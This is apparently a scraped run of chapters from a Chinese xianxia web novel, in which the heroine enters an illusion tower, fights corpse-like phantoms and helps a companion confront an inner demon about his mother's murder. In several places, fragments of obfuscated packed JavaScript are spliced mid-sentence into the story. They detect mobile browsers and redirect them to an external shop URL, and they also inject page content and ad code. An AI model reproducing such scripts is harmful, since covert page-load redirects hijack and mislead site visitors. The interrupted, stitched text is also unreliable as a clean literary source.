【⑦自己动手,丰衣足食。全自动飞天轮椅?两室一厅高端棺材?阅读《炼器入门》,零基础学习炼器,从入门到入土,你值得拥有。】 此后,系统提示再无变化。 …… 次日,伏令年三人跟随安祉一同来到了幻灵塔下。 幻灵塔位于昆仑峰的西南侧,塔身呈现灰白色,隐没于云雾当中,显得朦朦胧胧。 塔下已然聚集了不少弟子。 粗略看去,伏令年一眼便认出了几个熟悉的峰。 无需做什么,伏令年几人的到来立即引起了周遭弟子的注意。 孤零零的四人组本就在各 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他们本身有多次不愉快的相遇,相看两生厌也实属正常。伏令年自己对江钰景两兄妹亦讨厌得很。但是,她不会因此便直白将恶意写在脸上,亦不会不顾他人、随心所欲地进行报复。 对于江钰景如此行径,伏令年只能评价:心智成熟程度甚至不如她原来世界十二岁的表妹。 眼见着冲突将起,一道嗓音却跨越距离,响于众人耳侧。 “阿景。”孟如烟站在不远处,脸上显出无奈之色:“你莫不是想要违背师父的话??” 回想起往日,伏令年第一次与孟如烟相遇之时,她容貌艳丽,自有一股睥睨他人傲气在身。 如今的她,却少了几分当年的傲气,多了些身为大弟子的沉稳。 而江钰景——还是那副惹人嫌的模样。 伏令年再次在心中拉踩江钰景。 伏令年并不认为江钰景是能听从师姐训诫的人。 然而,让伏令年意外的是,江钰景面色几经变化,竟停下了靠近伏令年一行人的步伐。 “他们如此对待我阿妹,我为何不能说。”江钰景低声怒道:“我不明白,师姐…师父为何要将阿妹禁足,为了遨月峰那一群扶不上墙的废物?” “闭嘴。”孟如烟声音转冷:“莫要再胡言了。” “我说的有什么错?”江钰景不依不饶:“遨月峰门下无人,产年缺漏贡献,为何还占着名额不放?我看,遨月峰应当将参与大会的名额让与其余峰,莫要耽误了其他峰的弟子。” 在场之人皆是修为不低的修仙者,江钰景此段话虽颇有撒泼打滚之感,却也是说出了部分在场之人的心声。 无论遨月峰曾经光辉如何,如今的遨月峰却已然衰落,逐渐沦为了宗门中被人人瞧不起的笑柄。 在当下,整个遨月峰能“拿得出手”的,恐怕便只有大弟子沈枫泽。 然而,继沈枫泽之后,遨月峰十多年来再未有称得上名号的弟子了。 身为亲传弟子的安祉,与沈枫泽同时期入门,却在最初风光过后,修为再未得精进。听闻,她如今还处于金丹期。自沈枫泽突破至元婴期以后,遨月峰未再见雷劫降落。 温季才突破时引来的雷劫,可算得上是遨月峰十多年来难得一见之景了。 除去人才的稀缺,遨月峰常年“拖欠经费”也是出了名了。整个宗门,或许就只要遨月峰常年交不齐宗门贡献点。 平日里,这倒是与其余峰没什么关系。毕竟遨月峰“欠费”,受到影响的也只是他们本身。 可如今遇上关乎各峰利益的事项,他们便有了额外的想法。 凭什么让一个常年欠缺宗门贡献点的峰占据名额呢? 他们在心中如此想的。 更有甚者,便直接这么问了。 此话一出,众人的目光皆集中于伏令年几人身上。 若是寻常弟子,恐怕都要因此而面红耳赤了。 就在此时,人群中忽地响起一道笑声:“应师兄,你应当许久未做过宗门事务了吧。” “修行繁忙…”身着紫云峰服饰的应师兄有些尴尬地咳了一声:“但我们峰可从未欠缺过宗门贡献点。” “你误会了,师兄。”那发笑的少女道:“我的意思是,若是你去过,便会发觉——近期宗门事务栏上,近乎全都是遨月峰弟子的名字。” 此话一出,众人哗然。 这意味着,近期近乎所有的宗门事务,皆是遨月峰弟子完成的。 要做到让名字布满整个事务栏,可不是随手完成一两个事务这么简单的。 就在这时,幻灵塔下光华闪动,一位老者从幻影中走出。 “入塔吧。” 64. 入幻灵塔 甫一进入塔内,伏令年立即感到周围的雾气变得更加浓郁。 脚下的土地不再坚实,人行于其上,仿佛穿行于云端。 感官的敏锐度急剧下降,仅是向前走了几步,伏令年便失去了身旁伙伴的踪迹。 “师姐——温季才——高墨贤——”伏令年喊了几句,都未有得到回应。 身体有些古怪,轻飘飘的,灵魂仿佛游荡于云端。这种感受似乎有些似曾相识。 抓住这种特殊的感受,伏令年追寻起记忆。 最终,她的回忆定格在桃源村一行上。 ——站在桃源树底下仿若瓷娃娃般的少女,扎入体内牵引着她行动的红线,轻飘飘宛如行于云端的感受…伏令年记起了这种感受——这是神魂出窍的感受。 心尖一动,白玉剑应念而出。 持剑,回转。 伏令年一剑刺出,斩向侧后方的浓雾。 剑尖没入浓雾当中,仿佛没入泥潭。 手腕发沉,浓雾中的未知事物与伏令年展开了一场角力。 对方的力量大的不可思议,伏令年脚下不稳,险些被拖入浓雾当中。 眉头微蹙,伏令年手腕转动,运用巧劲使剑身颤动。一松一放间,白玉剑上绽出月华般的光芒。 随即,长剑挣开束缚,顺滑地斩破浓雾。 浓雾渐散,伏令年终于看清了藏匿于浓雾中的事物。 那是一团扭曲的黑气。 黑气纠缠着,蠕动着,试图填补刚刚被伏令年斩开的空洞。 透过空洞,伏令年看见了一株血红色的幼苗。 幼苗在飞快地长大,穿破黑气,不断向上延伸。 叶片的脉络变得粗壮,红色液体汩汩流动于其中。 花朵绽放又凋零,孕育包裹着果实。 扑通。 扑通… 心跳声在耳膜处回响,生命与他物相联。 眼前开始摇晃——不对。 伏令年突然发觉,并非是眼前的事物在摇晃,而是她在发颤。 她在发颤? 她很恐惧? 这似乎是深埋于她基因中的恐惧,如同老鼠见了猫,人类见了毒蛇。 这样的恐惧是如此强烈,让她身体都起了如此剧烈的反应。 然而,伏令年不明白自己为何会如此恐惧。 她的内心远比身体上来得平静。 果实要成熟了。 伏令年脑海中突然浮现了这个想法。 斩断它,立刻! 脑海中有声音在催促她。 指尖还在发颤,伏令年攥紧手中的白玉剑。 冰冷的触感抚平了她内心的焦躁。 斩断它。 伏令年告诉自己。 脚下发力,一呼一吸间,伏令年逼近了那株已然初成树形的幼苗。 白玉剑斩出,清脆的破裂声于耳边响起。 温热的液体洒满伏令年的脸颊,眼前的一切变得缓慢。 幼树被拦腰截断,随之倾倒。 果实砸落于地面,裂开了一条细微的缝隙。 伏令年走近,将剑锋插入缝隙当中。 缝隙随之扩大,里头的事物显现出来。 那是一只没有睫毛的眼睛。 血红的眼珠镶嵌于果实中,在光线的刺激下转动着。 又是眼珠。 伏令年感到一阵恶寒。 她已经记不清,这是第几次看见这样的眼珠了。 抬脚,伏令年脚下发力。 脚下触感黏糊,伴随着“咕叽咕叽”的恶心动静,眼珠被彻底碾碎。 碎裂的果实内,一团浓黑的雾气涌出,就待钻入伏令年的肌肤。 剑光一闪,黑雾被彻底搅碎。 耳边似有尖叫声响起,随后归于寂静。 被折断的幼树亦随之消散,整片空间中又只余下浓厚的雾气。 伏令年摸了摸脸庞,上面什么都没有,刚刚温热的触感仿佛是一场幻梦。 等待了片刻,四周仍然静悄悄的。 手持白玉剑,伏令年一路无阻地行走于充满浓雾的空间,未再遇见任何诡异的事物。 不知走了多久,周围依旧只有浓郁的雾气,不见任何变化。 伏令年停下脚步,她双眼微闭,操纵神识往外延伸。 如今她虽已然神魂出窍,但神识被束缚,无法发挥其特性。 放开束缚,神识如流水般向外流淌。在神识的“视角”中,四周没有流动的灵气,亦没有活动的生物。 一团团诡异的光芒不断变幻着,五光十色,分外奇诡。 不同的色泽在伏令年“眼前”闪动,让她有些头晕。 这还是伏令年突破至金丹期后第一次用神识大范围观察周遭的环境。 比起金丹期以前,伏令年如今的神识更为强大,能延伸至更远的地方。 同时,结合上对神识的修炼,伏令年如今已经初步掌握了用神识御敌的能力。面对他人神识上的影响,她也有了些除了操控白玉剑以外的自保手段。 神识蔓延至一处,忽地停了下来。 在变幻莫测的光芒当中,有一团极为不显眼的灰色事物。 伏令年循着行去,停在了灰色事物的跟前。 没有过多犹豫,伏令年挥剑,斩向那不合群的灰色事物。 手中先是一沉,随即,白玉剑如热刀切黄油一般没入当中。 然而,白玉剑并未如同她料想的那般顺滑切开灰色事物。 伏令年只感到一阵无法抗拒的吸力沿着剑身蔓延,眼前一花, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702828|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周景物尽数消散。 当周围景物再次清晰之时,伏令年环顾四周,不由得被眼前诡异的场景震住了。 黑沉的色调笼罩着大地,褐色的土地被鲜血浸染,呈现不详的暗红色。 一具具躯体横七竖八地倒于地上,身上的衣袍全然被鲜血浸染,混杂着泥土灰烬,深红近黑。 伏令年捡起地上的一截树枝,小心靠近其中一具躯体,拨动了一下。 躯体被伏令年移动,露出正面。 血红色刺痛了伏令年的双眼,她近乎不敢相信自己看见的景象。 躯体的胸腹不知被何物剖开,血淋淋的一片。本应存在其中的脏器消失不见,像是被人从中取出。 就像是一条被剖开腹部,取出内脏的鱼。 伏令年脑海中不由自主地浮现了如此不合时宜的联想。 如此场景对伏令年的冲击不小,这几年中,她虽见过了不少超出人生理极限的恶心事物,却还是对眼前的场景感到不适与恐惧。 毕竟,面前的是一具人类的尸体,而不是菜市场的鲜鱼。 这具尸体便如此被开膛破肚,惨死于此。 后退两步,伏令年远离了这具尸体,再探查其余的躯体。 周围人类的身躯有大有小,有纤细的少女,有壮年的男性,甚至还有身躯娇小的幼童。 有一些躯体躺在那儿,甚至无需伏令年去仔细查看。光看外表,伏令年便已能判断他们已然是一具尸体了。 更有甚者,甚至只剩下上半截身体,或者人首分离。 路过一具头颅,伏令年拨开发丝,看见了死者的容貌。 这一看,更是让伏令年心中一阵发寒。 死者的眼睛大睁着,黝黑的眼眸中毫无神采。苍白的面孔,凌乱的发丝,发紫的嘴唇。 所有的一切都在告诉伏令年,她已经死了。 然而,这张面孔,又是如此的熟悉。 “阿九?”伏令年喃喃了一句。 一阵寒风不知从何处吹来,伏令年看向不远处明显是幼童的一具尸体。 发丝被风吹开,伏令年清楚地分辨出对方的模样。 虽然有所区别,但伏令年却隐约分辨出,那似乎也是阿九的脸。 如果她再年幼几岁,或许就该是那个模样。 心中忽生想法,伏令年回身,快步回到几具尸体之间,将每人的面孔都仔细观察了一便。 这一看,更是让她头皮发麻。 每一具尸体,无论是老是少,是男是女,竟都与阿九的面容高度相似。 就在伏令年背脊发寒,一时间无法动弹之时,脚腕处忽感一阵冰凉。 余光下移,一只苍白的手,牢牢地攥住了她的脚腕。 而与这只手相连的,是一具无头的尸体。 65. 再遇阿九(待修) 伏令年不知自己挥动了多少次剑,才将面前的幻影尽数斩破。 攥住她脚腕的尸体宛若一个信号,霎时间,寒风四起。窸窸窣窣的声音中,一具具顶着阿九面孔的尸体爬动着朝伏令年靠近。 他们或被开膛破肚,在地面留下了一条血色的痕迹。或是肢体残缺,以极为诡异的方式不断如同。 但相同的是,他们的面容都极为狰狞可怖。面皮古怪地颤动着,仿佛有事物隐藏在人皮之下,就待要倾巢而出。 伏令年顿时有了极为不好的预感。 这让她联想起了在桃源村的遭遇。 果不其然,长剑斩断他们的身躯,肢体却仍在地面上挣扎扭动。肌肤之下,仿佛蠕虫般的东西从伤口中涌出。 阿九的面容完全扭曲,此时此刻,若再让伏令年来辨认,她恐怕无法再认出阿九的面孔了。 伏令年眉头紧锁,心下发沉。 就在她考虑着如何解决面前的困境时,伸手想从腰间储物空间中掏出先前她磨好的驱虫草药时,却忽地想起此处并非现实世界,她也并非处于自己的身体当中,当然也无法取出驱虫药。 脑中灵光闪现,伏令年催动手中白玉剑,神识化作锐剑,将周遭的幻影尽数斩破。 当跳出幻境影响,只将他们当作幻影之时,心下便轻松了许多。 同时,借助白玉剑与金丹期的神识,伏令年能够轻松地解决四周的幻影。 一具具躯体湮灭于伏令年摧枯拉朽的剑势当中。 循着神识而行,伏令年又发现了许多拥有阿九面孔的诡异幻影。 还未等他们异变,伏令年率先动手,将其尽数斩破。 身周可见的幻影只余下最后两个。 伏令年看着她们的面孔,不由咋舌。 比起那些或老或少的躯体,这两具躯体同阿九的相似度显然最高,高到伏令年只觉她就是本人。 两具躯体被掩埋在人堆下方,一人腹部被捅了一个大洞,另一人满头都是鲜血。 就在伏令年举剑,就待要刺下之时,其中一人忽地睁开了双眼。 伏令年莫名有种被野兽注视的感觉,眼前随即有黑影闪动。 劲风袭来,伏令年头部后仰,堪堪躲过对方的攻击。 身体如一缕清风,灵巧地后撤。 伏令年一下拉开了十多米的距离,定睛看向袭击者。 黑衣少女满面血迹,眼神冰冷的如同觅食的野兽。 还未等伏令年说话,黑衣少女便再度扑了上来。 她手上没有武器,十指成爪,似从天际飞扑而下的雌鹰。 伏令年没有还手,只是尽力躲避着少女的攻击。 面前黑影连续闪动,劲风直逼面门。伏令年几次差之毫厘地躲开袭击,太阳穴突突直跳。 少女的速度惊人,五指似爪如剑,劲力如刀,极具压迫感。 若不用剑御敌,伏令年没有信心能在后续的交手中全身而退。 看她的架势,脑袋要是被抓实了,伏令年恐怕得落下个头骨碎裂的下场。 “阿九!”伏令年急急唤了一声。 黑衣少女身形稍顿,竟生生止住了攻击的架势。 见有效果,伏令年再道:“阿九,是我啊,你不记得了吗?” 两人距离极近,阿九满是血色的面孔上露出了疑惑的神色,眼神中的凶狠逐渐淡化。 她嘴唇蠕动,吐出了两个字:“你是…二…丫?” “对,二丫。”伏令年顿时松了口气。 就在她以为危机解除之时,就听阿九又缓缓吐出了几个字。 “二丫…吃…饿了…” 伏令年顿时感觉脑门冒汗。 阿九拽住伏令年的手腕,黝黑的眼眸中闪着属于活人的光彩:“饿…要吃…” “你饿了,想吃东西?” 伏令年试图解读。 阿九点头。 “我这里暂时没有…”伏令年看见阿九盯着她,急忙补充道:“但我们可以找,我带你出去找吃的。” “吃…饿了…”阿九没有反应,只是反复念叨着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702829|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己饿了。 不知是不是幻灵塔的影响,她看上去有些神志不清——虽然原本的阿九便是个难以捉摸的人。 就在伏令年考虑着是否要将阿九先行送出幻灵塔时,手上忽地传来一道巨力。 伏令年不敢做出过激的反应,只好由着阿九。 阿九带着伏令年靠近了地上那具与她有着相同面孔的躯体。 松开伏令年的手腕,阿九俯下身,竟就这么一口咬在对方的颈侧。 骨骼破碎的声响清晰传入伏令年的耳中,在她未来得及反应之时,阿九已然吮吸起鲜血。 直到伏令年将阿九从地上强行拽起来之时,她的唇齿间已然沾染上了鲜红的血液。 此时再去掐阿九的脸让她吐出来已是来不及了,伏令年只好在心中安慰自己,这里的一切都是幻影。 “这个不能吃。”伏令年麻木道。 “为什么?”阿九歪着脑袋问:“大家都吃,我也吃。” “什么?” 伏令年着实是有些震惊了。 “大家?” “对。”阿九点头道:“我们…饿了…就吃,大家都能吃。” 这是什么?修仙界食人族吗? 两人相视片刻,阿九忽地说:“不吃你,别害怕。” 伏令年:…… 很难不怕啊。 …… 秘境之外,青年蹙眉望着高塔,脸色阴沉。 “我说过了,不应当让她进入幻灵塔…万一她在里头出了事…” “好了,阿俞。” 另一人叹道:“你不是她的母亲,也无法护着她一辈子。她已是金丹,必然会参加四境大会。进入秘境之中,你还能像现在一样护着她不成?内门考核要跟着,又不允许她进入幻灵塔…她没你想象的那么脆弱。” “你不明白。” 被称作阿俞的青年脸色更沉:“她和寻常的孩子不一样。” “啧…孩子…”另一人笑了一声:“她早就不是只能生活在你羽翼下的孩子了。” 66. 灭门惨案 蝴蝶状虫子的口器蠕动着,刺破了阿九白皙的手心。 血珠顺着伤口渗出,阿九却连眉毛都没动一下,仿佛感觉不到疼痛。 伏令年催动神识,想直接将这恶心的虫子幻影斩破。 然而,蝴蝶状的虫子并未消散。 它们攒动得更加厉害,口器不断颤动着,显得尤为恐怖。 它们不是幻影? 伏令年心中浮现出这个想法。 在幻灵塔中,居然出现了在现实中也未尝见过的古怪虫子。 若那只是幻影,是想象中的事物,那也算不得多可怕。然而,若说这虫子现实存在,便让人感到毛骨悚然了。 就在伏令年想着要如何将它们解决时,刚刚还异常活跃的虫子不知为何一只接一只抽搐着躺倒在阿九的掌心,再无动静。 阿九垂眸,声音很平静:“噬魂…子虫。” 五指收紧,伏令年听见了软壳被碾碎的破裂声。 虫子化为碎屑,掉落于地面。 “子虫?”伏令年抓住了这个词。 “难不成还有母虫?”伏令年问。 这个名称让她联想起了传说中的蛊虫,修仙界中亦有蛊修这样的“职业”,先前伏令年也听沈聿泽曾经提过这一类的修士。 “有。”阿九有问有答,却不会解释。 “这是蛊虫吗?” “是。” “你是怎么知道这种蛊虫的?” “吃…不好吃…头会很疼。” 阿九这回倒是说得多了些,可有些前言不搭后语。 “你吃过这种蛊虫?”伏令年试着解读:“你为什么会吃蛊虫?” 阿九未立即回答,沉默了一会,她有些艰难地开口:“我吃它们…它们吃我。为什么…我不能说…师兄说,不能告诉…别人…坏人…” 莫说阿九这一段话说得痛苦,伏令年听着也很痛苦。 关于蛊虫的问题她一时间是没法弄清楚了。 “坏人…你是坏人吗?二丫…?”阿九突然道。 “我?”伏令年脸不红心不跳地道:“我是大大的良民啊。” 阿九点了点头,也不知道有没有听懂伏令年的玩笑。 再替阿九清理了一遍手上的污垢后,伏令年再次放出神识,带着阿九寻找这一层幻境的出路。 功夫不负有心人,伏令年竟真通过重重幻象寻到了一块特殊的区域。 拽着阿九,伏令年将白玉剑刺入其中。 熟悉的吸力袭来,伏令年眼前一花,除了阿九以外,周遭的一切皆变得模糊起来。 当混沌褪去,四周再度清晰之时,伏令年再次看见了一片被血迹染红的土地。 恍惚间,伏令年还以为自己未曾离开阿九的幻境。 掌心传来牵扯感,伏令年侧头看去,见到了阿九的面孔。 阿九的目光灼灼,落在不远处的一具“尸体”上。 伏令年也不能确定那是不是尸体,但可以看见的是,她华贵的白色的衣袍已然被鲜血浸透,红黑发紫。 不知道这又是何人的幻境,一开场又是如此具有刺激性的场景。 与之相比,伏令年都要觉得自己遇见的幻象十分温和了,就是不知道她为何会产生如此强烈的生理反应。 就在伏令年考虑着要不要靠近查看之时,远处忽地燃起焰火,红彤彤一片,染红了漆黑的夜空。 血淋淋的白衣女子忽地挣扎着起身,她怀中死死抱着什么物什,拼命往远离火光的地方奔跑。 然而,受了重伤的她已是强弩之末。 还未逃离,火光燃起之处,几道黑影快速逼近。 看不清面孔的黑衣人无视伏令年两人,如饿虎扑食般追着女子而去。 伏令年和阿九紧跟其后。 几人一同跑到了一片小树林中,女子脚步踉跄,栽倒于地。 几个黑衣人紧跟着围了上去。 他们未有立即出手,似乎在忌惮着什么。 女子伏在地面,吐了好几口鲜血,手中却依旧紧紧抓着那看不清全貌的物什。 “杜娘,把剑交给我们。” 其中一位黑衣人开口道,声音冰冷,听不出男女。 “别再负隅顽抗了,”另一人声音也难以分辨,只能勉强听出意思:“从鹤川就是一个废物,引气自爆又如何,不过一死。带着赤霄投奔一个仅有元婴期修士的小宗门,你就未曾想过这一天?” “你们…是如何知晓的?”杜娘似乎已然绝望,失去了反抗的欲望。 “呵…”最开始说话之人笑了一声,讥讽道:“把剑交给我们,予你一个痛快的死法。至于如何知晓,我们不是早便同你说过了吗,任何事物都逃不出祂的眼睛…” 就在此时,杜娘忽地俯身“哭”了起来。 她身体颤抖着,哭泣声宛若杜鹃啼血,声声泣泪。 然而,当她抬起头时,伏令年才惊讶地发觉,杜娘在笑。 ——哭和笑是极像的。 她似笑似哭,嘴角上翘,颇有一股决然之意。 在黑衣人们都未反应过来之时,杜娘猛地扯开手中的事物。 在层层包裹下的东西,不是赤霄剑,而是一截骨头状的事物。 一条条散发着滢滢的光芒的丝线浮现,如鬼魅般划过几个黑衣人的脖颈。 刚刚还气势汹汹的黑衣人居然便如此被斩喉了。 惊人的变故以后,杜娘握着骨头状事物的手从指尖开始破碎,青丝变为白发,似乎在一瞬间便耗尽了所有的生命力。 就在这时,林外忽传来声响。 一个小孩跑了进来。 小孩穿着体面的衣袍,见到杜娘的一瞬便惊慌地跑了上去。 伏令年看得真切,那小孩正是缩小版的从承言。 “娘!”小孩看着杜娘此时的模样,顿时红了眼眶。 “言儿…”杜娘用仅剩的一只手抚摸着从承言的面颊。 “离开这儿。”杜娘目光不舍地在他上停留了片刻,然后猛地将他向其中一个方向推去:“他们是来取赤霄剑的,你快走,离开这儿!” 从承言不愿意走,但杜娘的手在他身上拍了几下后,他便像被控制了一般,身体违背他的意志,朝着远离杜娘的方向奔去。 还未等他彻底跑远,树林外却又走进一个人。 那是一位身着张扬红衣的女子。 她面目有些模糊,但伏令年能清晰看见她锐利英气的眼眸。 女子未发一言,手中长剑却猛地朝杜娘刺去。 随着杜娘的胸膛被刺穿,耳边传来一道撕心裂肺的呼声:“娘——” 这不是小从承言的声音。 伏令年侧头望去,才发觉长大版的从承言不知何时站在不远处。 他面色灰败,双眼泛红,眼中透着痛苦与疯狂。 看到他的那一刻,伏令年便有了一种强烈的预感。 这是真正的从承言。 然而,此时的从承言状态明显不对。 他眼里没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伏令年对自己的幻境有所猜测,神识海中奇怪的种子,梦境中的意象,桃源村一行的遭遇……许许多多的事件积累到一起,使她内心积聚了许多不安。 因此,她的幻境中才会出现那样一株树苗,果实中才会结出那没有睫毛的眼球。 对从承言而言,亦是如此。 他所见到的场景,红衣女子所说的话语,实际上都反应了他平日的所思所想,心中的恐惧与忧虑。 从内门考核开始,伏令年就发现他最容易受到幻境的影响。 这与他的童年的遭遇以及内心的郁结脱不开干系。 从承言拿了复仇龙傲天剧本,是伏令年以前调侃的说法。她知晓从承言有悲惨的身世,却不知晓其中具体。 而在这场幻境中,伏令年目睹了从承言宗门被灭的画面。 这或许是当时从承言的亲眼所见,他所恐惧的,无法忘怀的画面。 令伏令年最为震惊的,是那位红衣女子。 与那几个黑衣人不同,红衣女子的声音很清晰。 伏令年能明显分辨出这道声音来自一位女性,并且,这道声音于伏令年而言并不陌生。 那日,从承言与江玉忻一战,后被赤霄剑袭击。 出现在众人面前,自称为绯月峰峰主的、那团红色光芒的声音。 67. 一片混乱 当年灭宗惨案的真凶,居然是绯月峰的峰主吗? 这一推论让伏令年心下一惊,她侧头望向阿九,却对上了一张面无表情的面孔。 伏令年:…… 好吧,她应该料到阿九听不懂的。 无论真相究竟是什么,伏令年如今都应该做些什么。 红衣女子是从承言心魔的化身,他陷的越深,心魔的实力便愈加强大。 以他如今的状态来看,伏令年不觉得他能够依靠自身突破心魔。 两人的战斗依旧在进行,从承言身上已然添上了大大小小的伤痕。 他手上的赤霄剑越发沉重,每一次挥动艰难又缓慢。 反观红衣女子,她的剑术更加灵活,越战越勇,有逐渐变强的趋势。 红衣女子赤霄剑回转,将从承言逼着连退几步。 从承言的赤霄剑脱手,跌落在地。 剑身光芒黯淡,不见往日的威势。 剑修失去了自己的佩剑,胜负已分。 眼见着红衣女子就要一剑捅穿从承言的胸膛,伏令年身影晃动,顷刻间便来到了从承言的跟前。 在红衣女子冰冷的目光下,伏令年挥剑格挡。 红色与白色相撞,焰火与莹光交缠。 气浪掀起伏令年额间的发丝,衣摆随之猎猎作响。 心魔所化的幻影比之伏令年先前所见的所有幻影都要强,但并非不可战胜。 这样的幻影,居然能将从承言逼至如此的地步。 并非是他修为不如伏令年,而是他的心乱了。 一剑,伏令年斩破红衣女子的衣袖,在其手臂上留下了一道血痕。 伤口处,屡屡黑烟渗出,接着被白玉剑的剑光搅碎。 红衣女子的目光骤然发生了改变,冰冷与不屑的目光被震惊所取代。 “你…” 话未毕,红衣女子那双明艳的眼眸顿时睁大。 一只白皙的手自她的胸膛穿出,带起一篷鲜血。 阿九不知何时来到了她的身后,给予她重创。 黑雾在胸膛的破口处不断蠕动,似要将可怖的伤口填补。 然而,伏令年的攻击随后而至。 白玉剑势如破竹地穿透了红衣女子的胸膛,将妄图填补伤口的黑雾尽数斩灭。 红衣女子的面目完全模糊,被一团团黑雾所取代。 最终,红衣女子的幻影尽数消散于伏令年的剑下。 四周的景象随之发生变化,摇曳的树林隐没,被鲜血染红的大地化为灰雾,独留下伏令年三人,以及掉落在不远处的赤霄剑。 “小言言?” 伏令年伸手在从承言面前晃了晃。 “你没事吧?” 从承言眼中透着迷茫,他目光停留于伏令年脸上,眼睛眨了眨。 “小年?”他迷茫道。 “是我。” “你也是…幻影吗?”他喃喃问道。 “不是。”伏令年诚实回答。 却见从承言眼中流露出痛苦挣扎之色。 “你又骗我。”他喃喃道。 伏令年有些无奈:“那我是?” 眼见着从承言的目光暗淡下来,伏令年补救道:“开玩笑的,我其实真的不是幻影。” 然而,从承言却明显不相信伏令年的话,更准确来说,他已经认定伏令年就是幻影了。 他被幻境影响的太深了。 “好了,”伏令年觉得她必须要做什么:“你状态很不对,我先带你离开幻灵塔。” “不行。”从承言否决了伏令年的提议。 在伏令年疑惑的眼神下,从承言缓缓道:“我无法破除心魔,不能离开此处,你莫要再装作她的样子来骗我。” “这是你师门的要求?” 从承言默认了。 “绯月峰…”伏令年犹豫了一下,还是问出了口:“你的师父,是你的杀母仇人?” 从承言瞳孔猛地收缩,面露痛苦之色。 “我不知道。”他的声音低哑沉闷:“我未看清那个凶手。但我知晓…他们是来取赤霄剑的。” 也就是说,他无法确定绯月风峰主便是造就惨案的罪魁祸首。但赤霄剑在她的手中,而导致宗门灭门的凶手,目标亦是赤霄剑。 如此看来,绯月峰峰主的嫌疑的确极大。 结合先前红衣幻影所述,伏令年终于知道了从承言这一身沉重的心事到底从何而来。 亲眼见证母亲死亡,出逃躲避仇人,又拜入疑似仇人的师门下……放到任何人身上,恐怕都会像如今的从承言一样苦大仇深。 从承言自然也明白自己的状况不对,但他却陷入了死胡同当中。 心魔对他的影响太大,甚至妨碍了他修行。 无法破除心魔,无法突破到更高的境界,从承言便无法为自己和家人报仇雪恨。 然而,矛盾的是,他的心魔就是宗门的惨案。疑似凶手的人就在面前,他却无力报仇。 也因此,他的幻境中才会出现绯月峰峰主杀死他母亲的场景,这是他内心怀疑的映射。 “所以,幻境的最后,你才会看见绯月峰峰主。”伏令年喃喃道。 即使伏令年两人最后出现,打散了幻影。但从承言恐怕已然经历过了太多次幻境。他或许多次目睹母亲被杀害,也多次看见伏令年几人的幻象,以至于他分不清现实与幻境了。 从承言没有再理会伏令年,似乎想以这样的方式让伏令年这个“幻影”赶快消失。 他重新拾起赤霄剑,走入浓雾当中。 伏令年自然不能放任他再度陷入心魔当中,她牵着阿九,三人就这么在灰茫的天地中前行着。 一路上,从承言蒙头向前行进,伏令年和阿九紧跟其后。 在伏令年神识的视角中,周遭的雾气中聚集着许多黑色的物质。幻影便是由它们构成的。 也因此,伏令年立即发觉了黑色物质的异动。 黑色的身影刚一冒出脑袋,便被伏令年一剑打散了。 在接下来的路程中,不时从浓雾中冒出的幻影不是被伏令年一剑打散,便是被阿九一巴掌抓碎。从承言甚至来不及做出反应,袭击他的幻影便统统被伏令年和阿九铲除了。 直到最后,也没有一个幻影能摸到从承言的衣角。 四周的景物变换,几人重新站在了坚实的土地之上。 女子的歌声率先传入伏令年的耳中。 凝眸望去,不远处,一位身着华服的女子坐在床铺旁,唱着歌谣,哄着躺在床上的男孩睡觉。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 温柔的嗓音充盈于小小的房间,让人联想到家一般的安心感。 不知过了多久,女子意有所感,抬起了脑袋。 面容姣姣,眉目如画,正是杜娘。 她悄声走出房门,吩咐了院落处的值守弟子几句,便离开了。 从承言跟着杜娘离开了,伏令年最后看了沉睡中的小从承言一眼,也跟着离开。 宗内火光四起,杜娘携物出逃。 一切又朝着伏令年先前所见的那样发展。 然而,当那几个黑衣人追到小树林前时,却被伏令年和阿九一人几个快速解决了。 推动情节的重要“演员”缺席,幻境立即有了变动。 红衣女子再度出现,她一言未发,赤霄剑就将刺入杜娘的胸膛。 阿九先伏令年一步出手,与红衣女子缠斗在一块。 她动作快得惊人,堪比食堂抢饭的学生。 阿九走的是粗暴的路子,看似瘦弱的躯体内蕴含着极为可怖的力量,每一击都旨在予敌人重创。 她不像从承言那样受到幻境的针对,很快便在战斗中占了上风。 伏令年和她从未打过配合,看她应付得来,也便不去贸然插手,并顺手逮住了从林外冲进来的小从承言幻影。 当阿九撕破幻影的胸膛,画面一片血腥之时,伏令年猛然伸手,左右手分别捂住了两位从承言的眼睛。 “小孩子不能看。” 待到幻影倒下,伏令年刚要松一口气时,却见阿九将血淋淋的双手凑到嘴边。 伏令年:? 她张开嘴,似乎在吞咽着什么。 伏令年:! “那个也不能吃!” 怪不得她一看见幻影就冲上去了,对她而言还真是食堂开饭了! 一阵手忙脚乱后,伏令年左手扯着阿九,右手拽着从承言,场面格外混乱。 